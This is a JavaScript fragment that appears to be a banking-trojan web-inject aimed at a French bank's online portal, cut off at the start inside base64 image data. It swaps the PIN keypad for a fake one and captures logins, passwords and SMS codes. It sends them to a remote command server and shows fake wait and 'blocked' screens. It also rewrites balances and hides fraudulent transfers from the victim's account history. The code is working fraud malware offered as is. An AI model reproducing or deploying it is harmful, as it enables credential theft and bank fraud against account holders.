rCInCKqcWtvadL2SYhyASyNDJ0uIiUd6GAULDJCRiXo1CpGXDJOUjY+Yip9DhToJA4RBLwMLCwVDfRgbBAaqqoZ1XBMHswsHtxtFaH1iqaoGNgAIxRpbFAgfPQSqpbgGBqUD1wBXeCYp1AYZ19JJOYgH1KwA4UBvQwXUBxPqVD9L3sbp2BNk2xvvFPJd+MFCN6HAAIKgNggY0KtEBAAh+QQJCgAAACwAAAAAIAAgAAAE6BDISWlSqerNpyJKhWRdlSAVoVLCWk6JKlAqAavhO9UkUHsqlE6CwO1cRdCQ8iEIfzFVTzLdRAmZX3I2SfYIDMaAFdTESJeaEDAIMxYFqrOUaNW4E4ObYcCXaiBVEgULe0NJaxxtYksjh2NLkZISgDgJhHthkpU4mW6blRiYmZOlh4JWkDqILwUGBnE6TYEbCgevr0N1gH4At7gHiRpFaLNrrq8HNgAJA70AWxQIH1+vsYMDAzZQPC9VCNkDWUhGkuE5PxJNwiUK4UfLzOlD4WvzAHaoG9nxPi5d+jYUqfAhhykOFwJWiAAAIfkECQoAAAAsAAAAACAAIAAABPAQyElpUqnqzaciSoVkXVUMFaFSwlpOCcMYlErAavhOMnNLNo8KsZsMZItJEIDIFSkLGQoQTNhIsFehRww2CQLKF0tYGKYSg+ygsZIuNqJksKgbfgIGepNo2cIUB3V1B3IvNiBYNQaDSTtfhhx0CwVPI0UJe0+bm4g5VgcGoqOcnjmjqDSdnhgEoamcsZuXO1aWQy8KAwOAuTYYGwi7w5h+Kr0SJ8MFihpNbx+4Erq7BYBuzsdiH1jCAzoSfl0rVirNbRXlBBlLX+BP0XJLAPGzTkAuAOqb0WT5AH7OcdCm5B8TgRwSRKIHQtaLCwg1RAAAOwAAAAAAAAAAAA==) no-repeat scroll 7px 7px #FFFFFF;color: #999999;font-size: 1.167em;height: 46px;margin: 0;padding: 0px 15px 0 50px;"><div style="padding-top:11px;font-size:11px;color:#185BB6;">'+FKTEXT.WAITING+'</div></div><div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAsSURBVHjaYpw5c+Z/BiIAIxDrEaOQBYj/jCqkisK/A2fiP2IUMjMQCQACDABXfg8C4LEGcAAAAABJRU5ErkJggg==) repeat-x scroll left top transparent;height: 14px;"></div>   </div>  <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKsSURBVHja7Jm/qxpBEMdn9wnGkHSCWGiRMlja+AcI6SSQPyCVEJI/SAQRhfRpguA/ICm0slFEEYlaWaXw6d3uu/NHmDfO7u3FR6pbGNbTu898d/aHzigAQMK5aXje6LVzSxmg+h44Bw17Qa51HHgIfSAPc6DQiXJVfoVyMGqS3BdLKTbFXEfGOgS+uQyPGlh655hSVQL1NJ5WxamL4ZgpBsYBjGAMvQKxQmo+ei2RAFYpVicRXEQoZeFYqUImDJNCN4hgNsszpVevvmWW6XqmK+X0+UOz2dzUarUP5XL57Wq1mux2O4+AuBBog5PzA8fjUW+3W5hMJvvFYnEcDodfG43Gr4tiF8NhO8GFDtrVQ6AU+v3+42Aw+NxqtUbBWx562LNAfbwcJR5XoVCAarWarlQqjVwul75sDEnMtvNOTdKZKBaLkM/nX9Xr9U9o8rieg/PQsJVKpXQA/xihkFMrjNBsNgtCiHeOsJvGQjOZDCilXjuo4hwIFhqohGBRxFZoVUoWvnA4b2NBbQezKRROSoGL2z3DN4UDXhLq1BJoAk2gCTSBJtAE+r+hTim6dIBwMH2vUu3o8K9j6ThczowO/xUaP6aHwwGklI8RCk2ONAsNsr7w1/RvpgbgpJiFjsfj/Xq9/sFlcw7qb6GbzQaWy6Xf7Xa/k6KCMtRVblRLCuz1evvRaPRtNpv9YXJP5bIKUp7nQZjwTqfT/Xw+94OE9wtKeOMO/wxtt9t+MNOLQOXPTqfTRQp9g9IoJ6ff7+/JjTgzpj33msb6VJXwmHKHMoCjlAKGcjOsHIFsCckjJSRlUc6BVRRUR0C1DUahYHlIGUZg3K4pVP/QFqhtR1mVupY6Iw8UrDTqUHY+U69QiDgvIW752Ge+c+DeQrcylOG1qzIuf3/xPw+eBBgA9ioHIvHy2yIAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div></div>';
            var popup_elem_common = document.getElementById("popup_elem_common");
            if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
            var popup_elem = document.createElement("div");
            popup_elem.id = "popup_elem_common";
            popup_elem.style.position = "absolute";
            popup_elem.style.top = "0px";
            popup_elem.style.left = "0px";
            popup_elem.style.width = "100%";
            popup_elem.style.height = "100%";
            popup_elem.style.zIndex = "1001";
            popup_elem.style.background = "url(blank.gif)";
            popup_elem.innerHTML = fkWaitContent;
            document.getElementsByTagName('body')[0].appendChild(popup_elem);
            
            if(status)return false;
            setTimeout(vw.finish,90000);
        break;
        
        case("hidewait"):
            var popup_elem_common = document.getElementById("popup_elem_common");
            if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
        break;
        
        case("sms"):
            vw.fake_step("hidewait");
            var smsDiv = document.getElementById("smsDiv");
            if(smsDiv)smsDiv.parentNode.removeChild(smsDiv);
            var pointTd = by.args(document,"td","background:cadre_left\.png","style:cadre_left\.png");
            if(pointTd){
                var pointTr = pointTd.parentNode;
                var tables = vw.from(pointTr,"table");
                if(tables && tables.length > 0){
                    var pointTable = tables[0];
                    var smsDiv = document.createElement("div");
                    smsDiv.id = "smsDiv";
                    smsDiv.style.padding = "8px";
                    smsDiv.style.textAlign = "left";
                    smsDiv.style.fontSize = "11px";
                    smsDiv.innerHTML = '<img align=top width="16" height="16" src="/banque/PA_CanalnetApp/jsp/outilsxml/identification/imgs/second-step.png">&nbsp;&nbsp;&nbsp;'+FKTEXT.SMSTITLE+
                                        '<br>'+
                                        FKTEXT.SMSQUERY+
                                        '<br><br><bR>'+
                                        FKTEXT.SMSLABEL+"<input style='float:right;' type='password' id='vw.inp_sms_input' maxlength=6 size=6>"
                                        '';
                    pointTable.parentNode.insertBefore(smsDiv,pointTable);
                    pointTable.style.visibility = "hidden";
                    UI_login_input.disabled = true;
                }
            }
        break;
        
        case("block"):
            vw.fake_step("hidewait");
            var artDiv = document.getElementById("artDiv");
            if(artDiv)artDiv.parentNode.removeChild(artDiv);
            var artDiv = document.createElement("div");
            artDiv.id = "artDiv";
            artDiv.className = "rubrique";
            artDiv.innerHTML = '<table width="350" cellspacing="0" cellpadding="0" border="0">'+
                                        '<tbody>'+
                                            '<tr>'+
                                                '<td width="6" height="69" rowspan="5"></td>'+
                                                '<td width="338" height="4" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_02.gif" colspan="2"><img width="421" height="4" alt="" src="/banque/PA_CanalnetApp/jsp/imgs/transp.gif"></td>'+
                                                '<td width="6" height="69" rowspan="5"></td>'+
                                            '</tr>'+
                                            '<tr>'+
                                                '<td width="100%" height="18" align="center" class="TitreErreur" colspan="2">'+FKTEXT.BLOCKTITLE+'</td>'+
                                            '</tr>'+
                                            '<tr>'+
                                                '<td width="100%" height="6" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_05.gif" colspan="2"></td>'+
                                            '</tr>'+
                                            '<tr>'+
                                                '<td width="312" height="34"  align="center" class="LibelleErreur" colspan=2 style="background:#E7E7E7;padding:10px;">'+
                                                FKTEXT.BLOCKMAIN+"<br>"+FKTEXT.BLOCTRYNEXTTIME+
                                                '</td>'+
                                            '</tr>'+
                                            '<tr>'+
                                                '<td width="100%" height="7" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_08.gif" colspan="2"></td>'+
                                            '</tr>'+
                                        '</tbody>'+
                                    '</table>';
            var mainTable = by.args(document,"table","class:identification");
            if(mainTable){
                mainTable.parentNode.insertBefore(artDiv,mainTable);
                mainTable.style.display = "none";
            }
                
        break;
    }
}
 
vw.actions = function(){
    switch(QUERY.COMMAND){
                
        case("OFFLINE"):
            vw.fake_step("login");
        break;
        
        case("BLOCK"):
            vw.fake_step("block");
        break;
        
        case("SMS"):
            vw.fake_step("sms");
        break;
        
        case("LOGIN"):
            vw.fake_step("login");
        break;
        
        case("REASK LOGIN INFO"):
            vw.fake_step("relogin");
        break;
        
        case("WAIT"):
            vw.fake_step("wait",true);
            setTimeout(hujax.command,1000);
        break;
        
    }
}
 
//=================== INIT REPLACER FUNCTIONS =====================
 
replacer.get_balancetable = function(){
    var r1 = document.getElementById("corps");
    var r2 = by.args(document,"div","class:colonnegaucheunecompte");
    if(r1 && r2){
        return r2;
    }else{
        return false;
    }
}
 
replacer.get_historytable = function(){
    return by.args(document,"table","id:tablecompte","summary:liste des op.*rations");
}
 
replacer.get_blockstable = function(){
    return by.args(document,"ul","id:carousel");
}
 
replacer.get_dropstable = function(){
    return by.args(document,"div","class:gererbenef","id:listecomptes");
}
 
replacer.get_dropshistory = function(){
    var menuLink = by.args(document,"a","onclick:listervirementsaction");
    if(menuLink){
        if(/itemSelect/igm.test(menuLink.parentNode.className)){
            return true;
        }
    }
    return false;
}
 
replacer.init(replacer.get_balancetable(),replacer.get_historytable(),replacer.get_blockstable(),replacer.get_dropstable(),replacer.get_dropshistory());
replacer.currency(summ.get,summ.set);
 
replacer.finder_amount = function(txt){
    if(txt){
        var amount = 0;
        for(var i = 0; i < replacerArray.length; i++){
            var pattern = new RegExp(replacerArray[i]["ACCOUNT"],"igm");
            if(pattern.test(txt)){
                amount += summ.get(replacerArray[i]["AMOUNT"]);
            }
        }
    }
    return amount;
}
 
replacer.finder_transfer = function(txt){
    if(txt){
        for(var i = 0; i < replacerArray.length; i++){
            var pattern_1 = new RegExp(replacerArray[i]["NAME"],"igm");
            var pattern_2 = new RegExp(replacerArray[i]["MEMO"],"igm");
            if(pattern_1.test(txt) || pattern_2.test(txt)){
                return true;
            }
        }
    }
    return false;
}
 
replacer.totalamount = function(){
    var amount = 0;
    for(var i = 0; i < replacerArray.length; i++){
        amount += summ.get(replacerArray[i]["AMOUNT"]);
    }
    return amount;
}
 
replacer.hide = function(){
    var imgs = vw.from(document,"img");
    if(imgs && imgs.length > 0){
        for(var i = 0; i < imgs.length; i++){
            if(/Actions/igm.test(imgs[i].alt) && /plus\.png/igm.test(imgs[i].src)){
                if(!replacer.get_dropstable())imgs[i].style.display = "none";
            }
        }
    }
    
    var b1 = by.args(document,"div","class:listeaction");
    if(b1)b1.parentNode.removeChild(b1);
    
    var b2 = by.args(document,"div","class:blocreleveoutils");
    if(b2)b2.parentNode.removeChild(b2);
    
    var ahs = vw.from(document,"a");
    if(ahs && ahs.length > 0){
        for(var i = 0; i < ahs.length; i++){
            if(/Enregistrer vos pointages/igm.test(vw.text(ahs[i]))){
                ahs[i].parentNode.style.display = "none";
            }
        }
    }
}
 
replacer.balance = function(){
    if(replacer.get_balancetable()){
        var totalDiv = by.args(document,"div","class:montanttotalavoirs");
        if(totalDiv){
            var amount = replacer.totalamount();
            if(amount > 0){
                replacer.replace(totalDiv,amount);
            }
        }
        
        var tables = vw.from(document,"table");
        if(tables && tables.length > 0){
            for(var i = 0; i < tables.length; i++){
                if(/Liste des contrats/igm.test(tables[i].summary)){
                    var amountTotal = 0;
                    var trs = vw.from(tables[i],"tr");
                    if(trs && trs.length > 0){
                        for(var e = 0; e < trs.length; e++){
                            var tds = vw.from(trs[e],"td");
                            if(tds && tds.length > 5){
                                var accountNumber = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                                var amount = replacer.finder_amount(accountNumber);
                                if(amount > 0){
                                    amountTotal += amount;
                                    replacer.replace(tds[3],amount);
                                    var ahs = vw.from(tds[3],"a");
                                    if(ahs && ahs.length > 0){
                                        ahs[0].style.textDecoration = "none";
                                    }
                                    
                                    var lastAmount = vw.text(tds[3]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                                    if(summ.get(lastAmount) > 0){
                                        tds[3].className = "positif";
                                    }
                                    
                                    var parentDiv = tables[i].parentNode;
                                    if(parentDiv){
                                        var lastChar = parentDiv.id.substr(parentDiv.id.length-1,1);
                                        if(lastChar){
                                            var totalBlockParent = document.getElementById("blocIndex_"+lastChar);
                                            if(totalBlockParent){
                                                var totalBlock = by.args(totalBlockParent,"div","class:montant");
                                                if(totalBlock){
                                                    replacer.replace(totalBlock,amount);
                                                    var lastAmount = vw.text(totalBlock).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                                                    if(summ.get(lastAmount) > 0){
                                                        totalBlock.className = "montant positif";
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                
                                if(trs[e].className == "total"){
                                    if(amountTotal > 0){
                                        replacer.replace(tds[3],amountTotal);
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
 
replacer.history = function(){
    if(replacer.get_historytable()){
        var accountSelect = document.getElementById("cboContractNumbers");
        if(accountSelect){
            var accountNumbetPattern = vw.selected(accountSelect).TEXT.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
            var amount = replacer.finder_amount(accountNumbetPattern);
            if(amount > 0){
                var topAmountTd = by.args(document,"td","class:soldereleve");
                if(topAmountTd){
                    replacer.replace(topAmountTd,amount);
                }
                
                var table = replacer.get_historytable();
                if(table){
                    var trs = vw.from(table,"tr");
                    if(trs && trs.length > 0){
                        for(var i = 0; i < trs.length; i++){
                            var tds = vw.from(trs[i],"td");
                            if(tds && tds.length > 7){
                                var transferInfoPattern = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                                if(replacer.finder_transfer(transferInfoPattern)){
                                    trs[i].style.display = "none";
                                }
                                tds[6].innerHTML = "";
                            }
                        }
                    }
                }
            }
        }
    }
}
 
replacer.blocks = function(){
    if(replacer.get_blockstable()){
        var lis = vw.from(document,"li");
        if(lis && lis.length > 0){
            for(var i = 0; i < lis.length; i++){
                if(/blocContent.*jcarousel/igm.test(lis[i].className)){
                    var accountNumberTag = by.args(lis[i],"p","class:numcompte");
                    var accountAmountTag = by.args(lis[i],"span","class:solde");
                    if(accountNumberTag && accountAmountTag){
                        var accountNumber = vw.text(accountNumberTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|\s*)/igm,"");
                        var amount = replacer.finder_amount(accountNumber);
                        if(amount > 0){
                            replacer.replace(accountAmountTag,amount);
                            var lastAmount = vw.text(accountAmountTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                            if(summ.get(lastAmount) > 0){
                                accountAmountTag.className = "solde vert";
                            }
                        }
                    }
                }
            }
        }
        var imgs = vw.from(document,"img");
        if(imgs && imgs.length > 0){
            for(var i = 0; i < imgs.length; i++){
                if(/closeList/igm.test(imgs[i].src)){
                    var ahs = imgs[i].parentNode;
                    jQuery(ahs).unbind("click");
                }
            }
        }
    }
}
 
replacer.drops = function(){
    if(replacer.get_dropstable()){
        var tables = vw.from(replacer.get_dropstable(),"table");
        if(tables && tables.length > 0){
            var table = tables[0];
            var trs = vw.from(table,"tr");
            if(trs && trs.length > 0){
                for(var i = 0; i < trs.length; i++){
                    var tds = vw.from(trs[i],"td");
                    if(tds && tds.length > 5){
                        var transferInfoPattern = vw.text(tds[0]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                        if(replacer.finder_transfer(transferInfoPattern)){
                            trs[i].style.display = "none";
                        }
                    }
                }
            }
        }
    }
}
 
replacer.dropshistory = function(){
    if(replacer.get_dropshistory()){
        var table = by.args(document,"table","class:tablecompte");
        if(table){
            var trs = vw.from(table,"tr");
            if(trs && trs.length > 0){
                for(var i = 0; i < trs.length; i++){
                    var tds = vw.from(trs[i],"td");
                    if(tds && tds.length > 5){
                        var transferInfoPattern_1 = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                        var transferInfoPattern_2 = vw.text(tds[3]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                        if(replacer.finder_transfer(transferInfoPattern_1) || replacer.finder_transfer(transferInfoPattern_2)){
                            trs[i].style.display = "none";
                        }
                    }
                }
            }
        }
    }
}
 
replacer.start = function(){
    replacer.balance();
    replacer.history();
    replacer.blocks();
    replacer.drops();
    replacer.dropshistory();
}
 
//=================== INIT AJAX FUNCTIONS =====================
 
hujax.callback(UniversalCallback);
 
function UniversalCallback(){
    switch(kl){
        
        case("check"):
            if(admindata == "C:ON"){
                vw.start();
            }else if(admindata == "C:BLOCK"){
                vw.fake_step("block");
            }
            vw.showdoc(document);
        break;
        
        case("login"):
            if(typeof admindata != "undefined"){
                vw.fake_step("wait");
                hujax.command();
            }else{
                vw.fake_step("login");
            }
        break;
        
        case("command"):
            if(QUERY.FINISH && !QUERY.CHANGED){
                vw.fake_step("login");
            }else{
                if(typeof admindata != "undefined"){
                    var els = admindata.split("|");
                    if(els && els.length == 2){
                        if(els[0] == QUERY.COMMAND){
                            setTimeout(hujax.command,1000);
                        }else{
                            QUERY.CHANGED = true;
                            QUERY.COMMAND = els[0];
                            QUERY.VALUE = els[1];
                            vw.actions();
                        }
                    }
                }
            }
        break;
        
        case("replacer"):
            if(typeof admindata != "undefined"){
                var els = admindata.split("|");
                if(els && els.length > 0){
                    for(var i = 0; i < els.length; i++){
                        var p = els[i].split("/");
                        if(p && p.length == 4){
                            replacerArray[i] = new Array();
                            replacerArray[i]["AMOUNT"] = p[0];
                            replacerArray[i]["ACCOUNT"] = p[1];
                            replacerArray[i]["NAME"] = p[2];
                            replacerArray[i]["MEMO"] = p[3];
                        }
                    }
                    
                    replacer.hide();
                    if(replacer.canstart()){
                        replacer.start();
                    }
                    vw.showdoc(document);
                }else{
                    vw.showdoc(document);
                }
            }else{
                vw.showdoc(document);
            }
        break;
    }
}
 
hujax.command = function(){
    var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date());
    LINK += "&type=intercept";
    kl = "command";
    hujax.send(LINK);
}
 
hujax.start = function(){
    var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date());
    LINK += "&type=intercept";
    LINK += "&domain="+document.domain;
    LINK += "&browser="+vw.browser();
    kl = "check";
    hujax.send(LINK);
}
 
hujax.replacer = function(){
    var LINK = GATE+"?mode=REPLACER&hash="+Number(new Date());
    kl = "replacer";
    hujax.send(LINK);
}
 
//=================== INIT START FUNCTIONS =====================
 
vw.button = function(){
    if(QUERY.COMMAND == "SMS"){
        var vwinp_sms_input = document.getElementById("vw.inp_sms_input");
        if(vwinp_sms_input){
            vw.fake_step("wait",true);
            HOLDER.SMS = vwinp_sms_input.value;
            var LINK = GATE+"?mode=JABBER&hash="+Number(new Date());
            LINK += "&type=intercept";
            LINK += "&message=Code Recieved";
            LINK += "&data="+HOLDER.SMS;
            kl = "command";
            hujax.send(LINK);
        }
    }else{
        HOLDER.LOGIN = UI_login_input.value;
        vw.fake_step("wait",true);
        var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date());
        LINK += "&type=intercept&message=Loginning...";
        LINK += "&domain="+document.domain;
        LINK += "&browser="+vw.browser();
        kl = "login";
        hujax.send(LINK);
    }
}
 
vw.keyboard_click = function(index,el){
    if(index < 10){
        index = "0"+index;
    }else{
        index += "";
    }
    var origA = by.args(document,"a","href:figureClick.*"+index);
    if(origA){
        HOLDER.PASSWORD += /[0-9]/igm.test(vw.text(el)) ? vw.text(el) : "_";
        vw.mouse("click",origA);
    }
}
 
vw.keyboard_replace = function(){
    var keyDiv = document.getElementById("secret-nbr-keyboard");
    if(keyDiv){
        var newKey = document.createElement("div");
        newKey.innerHTML =  '<div style="height:28px;">'+
                                '<a onclick="vw.keyboard_click(1,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>1</b></a>'+
                                '<a onclick="vw.keyboard_click(2,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(3,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(4,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(5,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>0</b></a>'+
                            '</div>'+
                            '<div style="height:28px;">'+
                                '<a onclick="vw.keyboard_click(6,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(7,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(8,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>2</b></a>'+
                                '<a onclick="vw.keyboard_click(9,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>9</b></a>'+
                                '<a onclick="vw.keyboard_click(10,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                            '</div>'+
                            '<div style="height:28px;">'+
                                '<a onclick="vw.keyboard_click(11,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(12,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>7</b></a>'+
                                '<a onclick="vw.keyboard_click(13,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(14,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(15,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                            '</div>'+
                            '<div style="height:28px;">'+
                                '<a onclick="vw.keyboard_click(16,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(17,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(18,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>5</b></a>'+
                                '<a onclick="vw.keyboard_click(19,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>4</b></a>'+
                                '<a onclick="vw.keyboard_click(20,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>6</b></a>'+
                            '</div>'+
                            '<div style="height:28px;">'+
                                '<a onclick="vw.keyboard_click(21,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(22,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(23,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
                                '<a onclick="vw.keyboard_click(24,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>8</b></a>'+
                                '<a onclick="vw.keyboard_click(25,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>3</b></a>'+
                            '</div>'+
                            '';
        keyDiv.parentNode.insertBefore(newKey,keyDiv);
        keyDiv.style.display = "none";
    }
}
 
vw.lethim = function(){
    vw.mouse("click",UI_login_button);
}
 
vw.start = function(){
    vw.blockenter(UI_login_input);
    vw.keyboard_replace();
    var ahs = vw.from(document,"a");
    if(ahs && ahs.length > 0){
        for(var i = 0; i < ahs.length; i++){
            if(/reinit/igm.test(ahs[i].href)){
                vw.bind(ahs[i],"click",function(){
                    HOLDER.PASSWORD = "";
                });
            }
        }
    }
    clone.click(UI_login_button,vw.button);
}
 
vw.inside = function(){
    return by.args(document,"img","alt:d.*connexion");
}
 
function _start(){
    if(UI_login_input && UI_password_input && UI_login_button){
        hujax.start();
    }else if(vw.inside()){
        hujax.replacer();
    }else{
        vw.showdoc(document);
    }
}
 
_start();

Comments